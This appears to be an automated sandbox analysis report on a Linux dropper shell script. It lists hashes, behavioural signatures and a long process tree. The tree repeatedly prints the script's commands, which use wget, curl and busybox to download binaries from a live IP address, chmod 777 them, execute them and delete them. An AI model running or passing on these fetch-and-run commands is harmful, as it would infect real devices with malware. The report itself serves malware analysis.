046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c

Analysis

max time kernel
44s
max time network
67s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c.sh
Size 10KB
Sample241122-cf9nfasjct
SHA256 046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c
MD5 447428d96894fb4c51c3f87a6ea3fd5a
SHA1 fc0ddfb82ee771625e82b6a777de44a766a2becc
SHA512 98d575d64997904f8a122d754c073e3236eb05f5639352c944cbc559f07db3c8ecd9fa761d888d7745954d4079b24723af012f73651a517ea3afdac745859c9b
SSDEEP 96:VRd4l5y5e5Y555Bn51u0H6H2HMH7HzHWm97c3e7ceJe+jqmmYl3e7ceJe+jMmt2a:7Hm97cO1c5mmn1c4m+r
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 26 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
836	chmod
842	chmod
848	chmod
855	chmod
786	chmod
792	chmod
818	chmod
877	chmod
903	chmod
915	chmod
774	chmod
780	chmod
798	chmod
824	chmod
883	chmod
889	chmod
685	chmod
758	chmod
804	chmod
812	chmod
830	chmod
865	chmod
871	chmod
895	chmod
909	chmod
921	chmod

Executes dropped EXE 26 IoCs

Checks CPU configuration 1 TTPs 26 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 52 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	curl
File opened for modification	/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	curl
File opened for modification	/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	curl
File opened for modification	/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	curl
File opened for modification	/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	curl
File opened for modification	/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	curl
File opened for modification	/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	curl
File opened for modification	/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	curl
File opened for modification	/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	curl
File opened for modification	/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	curl
File opened for modification	/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	curl
File opened for modification	/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	curl
File opened for modification	/tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5	curl
File opened for modification	/tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe	curl
File opened for modification	/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	curl
File opened for modification	/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	curl
File opened for modification	/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	curl
File opened for modification	/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	curl
File opened for modification	/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	curl
File opened for modification	/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	curl
File opened for modification	/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	curl
File opened for modification	/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	curl
File opened for modification	/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	curl
File opened for modification	/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	curl
File opened for modification	/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	curl
File opened for modification	/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	curl

/tmp/046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c.sh
/tmp/046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c.sh
1⤵
PID:654
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:661
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:684
- /bin/chmod
  chmod 777 b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  ./b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Executes dropped EXE
  PID:686
- /bin/rm
  rm b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:687
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:688
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:752
- /bin/chmod
  chmod 777 ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  ./ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:760
- /usr/bin/wget
  wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:773
- /bin/chmod
  chmod 777 a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  ./a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:776
- /usr/bin/wget
  wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:779
- /bin/chmod
  chmod 777 rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  ./rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:782
- /usr/bin/wget
  wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:785
- /bin/chmod
  chmod 777 k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  ./k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:788
- /usr/bin/wget
  wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:791
- /bin/chmod
  chmod 777 yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  ./yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:794
- /usr/bin/wget
  wget http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:797
- /bin/chmod
  chmod 777 xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  ./xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:800
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:803
- /bin/chmod
  chmod 777 t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  ./t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:806
- /usr/bin/wget
  wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:809
- /bin/chmod
  chmod 777 xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  ./xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:817
- /bin/chmod
  chmod 777 kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  ./kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:823
- /bin/chmod
  chmod 777 rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  ./rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:829
- /bin/chmod
  chmod 777 eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  ./eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:832
- /usr/bin/wget
  wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:835
- /bin/chmod
  chmod 777 fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  ./fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:838
- /usr/bin/wget
  wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:841
- /bin/chmod
  chmod 777 Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  ./Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:844
- /usr/bin/wget
  wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:847
- /bin/chmod
  chmod 777 xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  ./xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:850
- /usr/bin/wget
  wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:853
- /bin/chmod
  chmod 777 kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  ./kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:864
- /bin/chmod
  chmod 777 rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  ./rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:867
- /usr/bin/wget
  wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:870
- /bin/chmod
  chmod 777 eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  ./eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:873
- /usr/bin/wget
  wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:876
- /bin/chmod
  chmod 777 fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  ./fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:879
- /usr/bin/wget
  wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:882
- /bin/chmod
  chmod 777 Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  ./Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:885
- /usr/bin/wget
  wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:888
- /bin/chmod
  chmod 777 b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  ./b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:891
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:894
- /bin/chmod
  chmod 777 ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
